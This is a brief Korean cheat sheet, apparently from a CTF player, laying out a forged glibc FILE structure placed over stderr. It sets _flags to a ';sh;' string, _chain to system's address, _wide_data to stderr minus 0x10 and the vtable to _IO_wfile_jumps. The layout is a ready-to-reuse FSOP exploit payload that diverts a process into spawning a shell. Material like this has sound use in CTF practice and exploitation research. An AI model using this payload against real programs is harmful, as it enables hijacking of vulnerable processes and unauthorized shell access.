문제 풀 때마다 계산하기 너무 귀찮아서 정리하였다..
base address는 stderr로 표시하였다.
offset member value
0x0 _flags b"\x01\x01\x01\x01;sh;"
0x8 _IO_read_ptr 0
0x10 _IO_read_end 0
0x18 _IO_read_base 0
0x20 _IO_write_base 0
0x28 _IO_write_ptr 1
0x30 _IO_write_end 0
0x38 _IO_buf_base 0
0x40 _IO_buf_end 0
0x48 _IO_save_base 0
0x50 _IO_backup_base 0
0x58 _IO_save_end 0
0x60 _markers 0
0x68 _chain system_addr
0x70 _fileno 0
_flags2
0x78 _old_offset 0
0x80 _cur_column 0
_vtable_offset
_shortbuf
0x88 _lock writable_addr
0x90 _offset 0
0x98 _codecvt 0
0xa0 _wide_data stderr - 0x10
0xa8 _freeres_list 0
0xb0 _freeres_buf 0
0xb8 __pad5 0
0xc0 _mode 0
_unused2
0xc8 _unused2 0
0xd0 _unused2 stderr
0xd8 _vtable _IO_wfile_jumps